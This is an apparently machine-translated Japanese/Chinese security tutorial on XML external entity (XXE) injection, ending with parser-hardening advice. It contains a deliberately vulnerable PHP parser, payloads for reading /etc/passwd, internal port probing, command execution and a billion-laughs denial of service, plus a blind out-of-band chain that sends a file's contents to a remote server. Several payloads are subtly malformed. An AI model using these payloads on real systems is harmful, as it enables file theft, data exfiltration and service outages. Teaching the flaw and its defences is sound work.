XXE 脆弱性
XXE は XML 外部エンティティ インジェクションの略で、XML 外部エンティティ インジェクションの脆弱性です。
原理:
XXE 脆弱性は、アプリケーションが外部エンティティの読み込みを禁止せずに XML 入力を解析するときに発生します。これにより、ユーザーは外部から読み込まれたファイルを制御できるようになり、XXE 脆弱性が発生します。
XXE 脆弱性のトリガー ポイントは、多くの場合、XML ファイルがアップロードされる場所です。XML ファイルがフィルタリングされていない場合、悪意のある外部ファイルやコードがロードされ、任意のファイル読み取り、コマンド実行、イントラネット ポート スキャン、イントラネット Web サイトへの攻撃、攻撃などの危険性
基本知識:
XML は、電子ドキュメントをマークして構造化するために使用されるマークアップ言語です。データをマークし、データ型を定義でき、ユーザーが独自のマークアップ言語を定義できるソース言語です。XML 文書構造には、XML 宣言、DTD 文書型定義、および文書要素が含まれます。
DTD の機能は、XML ドキュメントの正当な構築モジュールを定義することです。これは、内部的に宣言することも、外部から参照することもできます。
XML ドキュメントの構成要素
すべての XML ドキュメント (HTML ドキュメントも同様) は、次の単純な構成要素で構成されています。
要素
属性
実在物
PCDATA
CDATA
要素の制約
格式:<!ELEMENT名コンテンツタイプ>
ELEMENTはキーワードを表します
NAMEは要素名を表します
content-type は要素のタイプを表し、次の 3 つの方法で記述できます。
EMPTY は、要素に子要素とテキストを含めることはできませんが、属性を持つことはできることを意味します
ANY は、要素に DTD で定義された任意の要素コンテンツを含めることができることを意味します
#PCDATA は、任意の文字データを含めることができますが、サブ要素を含めることはできないことを意味します。解析された文字データ PCDATA は、パーサーによって解析されるテキストです。
属性の制約
形式: <!ATTLIST 要素名 属性名 属性タイプ 属性の特性>
プロパティタイプ:
CDATA は文字列型であり、パーサーによって解析されないテキストです。これらのテキスト内のタグはタグとして扱われず、テキスト内のエンティティは展開されません。
ID は文書全体で一意であり、命名規則は XML 要素と同じであり、数字で始めることはできません。
IDREF 参照属性の値は、ID の値から導出する必要があります。
IDREFS 値は ID の値から派生する必要があります。値はスペースで区切って複数指定できます。
列挙型 (男性|女性)
ENTITY エンティティ
物件の特徴:
#REQUIRED を設定する必要があります
#IMPLIED オプション
#FIXED 値は固定値です。属性を設定する必要はありません (属性は自動的に設定されます)。設定する場合、値は value である必要があります。
デフォルト値 デフォルト値はカスタマイズ可能です。この属性が定義されていない場合、属性は自動的に設定され、その値がデフォルト値になります。
文法規則:
xml には、他のすべての要素の親要素であるルート要素が含まれている必要があります。たとえば、次の例では、root がルート要素です。
<?xml version="1.0" encoding="UTF-8"?> //文档开头必须
<root>
<child>
<subchild>.....</subchild>
</child>
</root>
XML では、終了タグを省略することはできません。すべての要素には終了タグが必要です
XML タグでは大文字と小文字が区別されます。タグはタグとは異なります。開始タグと終了タグは同じ大文字と小文字を使用して記述する必要があります
XML では、すべての要素が相互に適切にネストされている必要があります
XML コメントは html と同じです
XML ではスペースは保持されますが、HTML では複数の文字が 1 つにクリップされます。
XML タグはカスタマイズできるため、自由に変更できます。
XML 属性値は引用符で囲む必要があります
XMLエンティティ
XML では、一部の文字には特別な意味があります。
XML 要素内に文字「<」を入れると、パーサーはそれを新しい要素の始まりとして扱うため、エラーが発生します。
エンティティは、通常のテキストまたは特殊文字を参照するショートカットを定義するために使用される変数です。
このエラーを回避するには、「<」文字の代わりにエンティティ参照が必要です。
在 XML 中,有 5 个预定义的实体引用
< < 小于
> > 大于
& & &符
' ' 单引
" " 双引
Windows アプリケーションでは、改行は通常、キャリッジ リターン (CR) とライン フィード (LF) のペアの文字として保存されます。
Unix および Mac OSX では、LF を使用して新しい行を保存します。古い Mac システムでは、新しい行を保存するために CR が使用されます。XML は改行を LF に格納します。
すべての XML ドキュメントは、5 つの単純な構成要素 (要素、属性、エンティティ、PCDATA CDATA) で構成されています。
DTD エンティティの概要:
DTD (Document Type Definition) の役割は、XML ドキュメントの法的な構成要素を定義することです。
DTD の宣言には内部 DTD と外部 DTD の 2 つの方法があり、XML 文書内の要素、属性、およびエンティティの DTD 宣言が XML 文書内で参照されるか、外部 DTD ファイル内で参照されるかによって異なります。
内部 DTD
<?xml version="1.0"?> //声明xml版本
<!DOCTYPE note [ //声明此文档是note类型的文档
<!ELEMENT note (to,from,heading,body)> //声明此文档的所有元素
<!ELEMENT to (#PCDATA)> //定义to元素的类型为PCDATA
<!ELEMENT from (#PCDATA)> // 定义from元素类型为PCDATA
<!ELEMENT heading (#PCDATA)> // 定义heading为PCDATA
<!ELEMENT body (#PCDATA)> // 定义body为PCDATA
<!ENTITY writer "hello world"> // 定义一个内部实体
]>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend</body>
</note>
外部DTD
汎用エンティティとパラメータ エンティティ:
1. 普遍的な存在
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY > #定义元素为ANY,即可以接受任何元素。
<!ENTITY xxe SYSTEM "file:///c:/test.dtd" >]> // 定义通用实体
<root>
<body>&xxe;</body> #定义一个外部实体
</root>
4 行目の定義により、7 行目の &xxe は SYSTEM キーワードを使用して c:/test.dtd ファイル リソースを参照するため、参照されたリソースに加えられた変更はドキュメント内で自動的に更新されます。
パブリック DTD を参照するには、上記の SYSTEM キーワードの参照方法の他に、PUBLIC を使用する参照方法があります。構文は次のとおりです。
<!DOCTYPE 根元素名称 PUBLIC “DTD标识名” “公用DTD的URI”>
2. パラメータ実体
<!ENTITY % an-element "<!ELEMENT mytag (subtag)>">
<!ENTITY % remote-dtd SYSTEM "http://somewhere.example.org/remote.dtd">
%an-element; %remote-dtd;
上記のコード例では、エンティティ名の前に余分な "%" があることがわかります。パラメータ エンティティで "% エンティティ名" を使用して (スペースを少なくすることはできません)、それを定義するには、次のことしかできません。 DTD では「% エンティティ名」を使用してください。」
XXE 脆弱性があるかどうかを判断します。
最も直接的な方法は、burp を使用してパケットをキャプチャし、次に HTTP リクエスト メソッドを変更し、Content-Type ヘッダー フィールドなどを変更し、返されたパケットの応答を確認し、アプリケーションが送信されたコンテンツを解析したかどうかを確認することです。解析されると、XXE 攻撃の脆弱性が存在する可能性があります
XMLエクスプロイト
file_get_contents 関数は、php://input から渡されたデータを読み取りますが、受信データはいかなる方法でもフィルタリングされません。これは、loadXML 関数で直接呼び出され、$username を入力した結果を echo 関数を通じて渡します。本番環境の XXE 脆弱性。
<?php
libxml_disable_entity_loader(false);
$xmlfile=file_get_contents('php://input');
$dom=new DOMDocument();
$dom->loadXML($xmlfile,LIBXML_NOENT | LIBXML_DTDLOAD);
$creds=simplexml_import_dom($dom);
$username=$creds->username;
$password=$creds->password;
echo 'hello'.$username;
?>
1. ファイルの読み込み
外部エンティティをロードすることにより、file:// や php:// などの疑似プロトコルを使用してローカル ファイルを読み取ります。
payload
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE creds[
<!ELEMENT userename ANY>
<!ELEMENT password ANY>
<!ENTITY xxe SYSTEM="file:///etc/passwd"]>
<creds>
<username>&xxe</username>
<password>test</password>
</creds>
2. イントラネットの検出
イントラネット検出に xxe 脆弱性を使用すると、ポートが開いている場合、リクエストの戻り時間は非常に速くなり、ポートが閉じている場合、リクエストの戻り時間は非常に遅くなります。
ポート22が開いているかどうかを検出する
<?xml version="1.0"?>
<!DOCTYPE creds[
<!ELEMENT userename ANY>
<!ELEMENT password ANY>
<!ENTITY xxe SYSTEM="http://127.0.0.1.22"]>
<creds>
<username>&xxe</username>
<password>test</password>
</creds>
3. コマンドの実行
xxe の脆弱性を利用すると、Except:// 擬似プロトコルを呼び出してシステム コマンドを呼び出すことができます。
<?xml version="1.0"?>
<!DOCTYPE creds[
<!ELEMENT userename ANY>
<!ELEMENT password ANY>
<!ENTITY xxe SYSTEM="except://id"]>
<creds>
<username>&xxe</username>
<password>test</password>
</creds>
4.DDOS攻撃
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
この原理は再帰参照です。lol エンティティには特に「lol」という文字列があります。その後、lol2 エンティティは lol エンティティを 10 回参照し、lol3 エンティティは lol2 エンティティを 10 回参照します。このとき、lol3 エンティティは lol3 エンティティを参照します。 10^2 個の「lol」が含まれるなど、lol9 エンティティには 10^8 個の「lol」文字列が含まれ、最後に lol9 を参照します。悪意のある XML エンティティ ファイルを構築すると、利用可能なメモリが枯渇します。これは、多くの XML パーサーが XML ドキュメントの解析時にその構造全体をメモリ内に保持する傾向があり、解析が非常に遅くなり、結果としてサーバー攻撃の拒否につながるためです。
XXE アプリケーションには、エコーありとエコーなしの 2 つの一般的なタイプがあります。エコーがある場合は、ペイロードの実行結果や現象をページ上で直接見ることができます。エコーがない場合は、ブラインド xxe とも呼ばれます。外部データ チャネルを使用してデータを抽出できます。
エコーがあります:
外部エンティティの直接宣言
<?xml versinotallow="1.0"?>
<!DOCTYPE ANY [
<!ENTITY test SYSTEM "file:///etc/passwd">
]>
<abc>&test;</abc>
外部DTDドキュメントの導入
外部 DTD ドキュメントによる外部エンティティ宣言の導入
<?xml versinotallow="1.0"?>
<!DOCTYPE a SYSTEM "http://localhost/evil.dtd">
<abc>&b;</abc>
evil.dtd内容:
<!ENTITY b SYSTEM "file:///etc/passwd">
外部エンティティを介して dtd ドキュメントをインポートする
外部エンティティ宣言による外部エンティティ宣言の導入
<?xml versinotallow="1.0"?>
<!DOCTYPE a [
<!ENTITY % d SYSTEM "http://localhost/evil.dtd">
%d;
]>
<abc>&b;</abc>
evil.dtd内容:
<!ENTITY b SYSTEM "file:///etc/passwd">
応答なし:
パラメータ エンティティを利用します。
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://ip/test.dtd">
%remote;%int;%send;
]>
test.dtd:
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///D:/test.txt">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://ip:9999?p=%file;'>">
呼び出しプロセス:
连续调用了三个参数实体 %remote;%int;%send;,这就是我们的利用顺序,%remote 先调用,调用后请求远程服务器上的 test.dtd ,有点类似于将 test.dtd 包含进来,然后 %int 调用 test.dtd 中的 %file, %file 就会去获取服务器上面的敏感文件,然后将 %file 的结果填入到 %send 以后(因为实体的值中不能有 %, 所以将其转成html实体编码 %),我们再调用 %send; 把我们的读取到的数据发送到我们的远程 vps 上,这样就实现了外带数据的效果,完美的解决了 XXE 无回显的问题。
防御方法:
禁用外部实体
php:
libxml_disable_entity_loader(true);
java:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
过滤和验证用户提交的XML数据
不允许XML中含有任何自己声明的DTD ,过滤关键字:<\!DOCTYPE和<\!ENTITY,或者SYSTEM和PUBLIC
有效的措施:配置XML parser只能使用静态DTD,禁止外来引入;对于Java来说,直接设置相应的属性值为false即可